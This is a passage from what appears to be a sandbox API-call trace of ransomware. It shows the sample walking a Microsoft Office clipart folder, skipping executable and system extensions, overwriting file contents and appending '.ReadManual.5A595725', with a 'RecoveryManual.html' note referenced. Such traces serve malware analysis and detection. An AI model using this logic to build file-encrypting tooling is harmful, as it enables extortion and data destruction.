(psz1="MID", psz2="lnk") returned 1 [0270.333] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" [0270.333] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.ReadManual.5A595725" [0270.333] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.ReadManual.5A595725") returned 87 [0270.333] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39100158229) returned 1 [0270.333] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20 [0270.333] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.333] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5843) returned 1 [0270.333] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d3, lpName=0x0) returned 0x184 [0270.333] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.334] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.334] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.338] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.338] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d3) returned 0x2f0000 [0270.338] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.339] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39100734314) returned 1 [0270.339] CloseHandle (hObject=0x184) returned 1 [0270.339] SetSecurityInfo () returned 0x57 [0270.339] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.339] CloseHandle (hObject=0x194) returned 1 [0270.339] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x968b8700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x968b8700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MP00021_.WMF", cAlternateFileName="")) returned 1 [0270.339] lstrcpyW (in: lpString1=0x6ab90a, lpString2="MP00021_.WMF" | out: lpString1="MP00021_.WMF") returned="MP00021_.WMF" [0270.339] lstrcmpiW (lpString1="MP00021_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.339] StrStrIW (lpFirst="MP00021_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.339] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.339] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.339] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" [0270.339] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.ReadManual.5A595725" [0270.339] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.ReadManual.5A595725") returned 87 [0270.339] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39100821923) returned 1 [0270.340] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf")) returned 0x20 [0270.340] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.341] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5622) returned 1 [0270.341] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15f6, lpName=0x0) returned 0x184 [0270.341] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.341] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.341] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.379] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.379] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15f6) returned 0x2f0000 [0270.379] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.379] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39104801337) returned 1 [0270.379] CloseHandle (hObject=0x184) returned 1 [0270.379] SetSecurityInfo () returned 0x57 [0270.379] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.379] CloseHandle (hObject=0x194) returned 1 [0270.380] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19acdd00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19acdd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1090, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MP00132_.WMF", cAlternateFileName="")) returned 1 [0270.380] lstrcpyW (in: lpString1=0x6ab90a, lpString2="MP00132_.WMF" | out: lpString1="MP00132_.WMF") returned="MP00132_.WMF" [0270.380] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.380] StrStrIW (lpFirst="MP00132_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.380] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.380] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.380] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" [0270.380] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.ReadManual.5A595725" [0270.380] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.ReadManual.5A595725") returned 87 [0270.380] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39104896467) returned 1 [0270.380] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf")) returned 0x20 [0270.380] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.381] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4240) returned 1 [0270.381] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1090, lpName=0x0) returned 0x184 [0270.381] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.382] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.382] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.383] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.383] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1090) returned 0x2f0000 [0270.383] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.384] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39105234402) returned 1 [0270.384] CloseHandle (hObject=0x184) returned 1 [0270.384] SetSecurityInfo () returned 0x57 [0270.384] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.384] CloseHandle (hObject=0x194) returned 1 [0270.384] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b16fc00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x69c72af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b16fc00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x31e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MP00646_.WMF", cAlternateFileName="")) returned 1 [0270.384] lstrcpyW (in: lpString1=0x6ab90a, lpString2="MP00646_.WMF" | out: lpString1="MP00646_.WMF") returned="MP00646_.WMF" [0270.384] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.384] StrStrIW (lpFirst="MP00646_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.384] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.384] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.384] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" [0270.384] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.ReadManual.5A595725" [0270.384] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.ReadManual.5A595725") returned 87 [0270.384] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39105326816) returned 1 [0270.385] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf")) returned 0x20 [0270.385] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.385] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12770) returned 1 [0270.385] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31e2, lpName=0x0) returned 0x184 [0270.385] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.386] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.386] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.398] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.398] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31e2) returned 0x2f0000 [0270.398] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.399] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39106736016) returned 1 [0270.399] CloseHandle (hObject=0x184) returned 1 [0270.399] SetSecurityInfo () returned 0x57 [0270.399] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.399] CloseHandle (hObject=0x194) returned 1 [0270.399] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MUSIC_01.MID", cAlternateFileName="")) returned 1 [0270.399] lstrcpyW (in: lpString1=0x6ab90a, lpString2="MUSIC_01.MID" | out: lpString1="MUSIC_01.MID") returned="MUSIC_01.MID" [0270.399] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="RecoveryManual.html") returned -1 [0270.399] StrStrIW (lpFirst="MUSIC_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.399] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0270.399] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0270.399] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0270.399] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0270.399] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0270.399] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0270.399] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0270.399] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0270.399] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0270.399] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0270.399] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0270.399] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0270.399] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0270.399] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0270.399] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" [0270.399] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.ReadManual.5A595725" [0270.400] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.ReadManual.5A595725") returned 87 [0270.400] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39107049711) returned 1 [0270.402] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 0x20 [0270.403] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.404] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6880) returned 1 [0270.404] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ae0, lpName=0x0) returned 0x184 [0270.404] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.404] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.405] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.406] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.406] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ae0) returned 0x2f0000 [0270.406] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.407] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39107532079) returned 1 [0270.407] CloseHandle (hObject=0x184) returned 1 [0270.407] SetSecurityInfo () returned 0x57 [0270.407] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.407] CloseHandle (hObject=0x194) returned 1 [0270.407] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070c700, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9070c700, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00042_.WMF", cAlternateFileName="")) returned 1 [0270.407] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00042_.WMF" | out: lpString1="NA00042_.WMF") returned="NA00042_.WMF" [0270.407] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.407] StrStrIW (lpFirst="NA00042_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.407] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.407] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.407] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" [0270.407] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.ReadManual.5A595725" [0270.407] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.ReadManual.5A595725") returned 87 [0270.407] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39107619972) returned 1 [0270.407] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf")) returned 0x20 [0270.408] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, 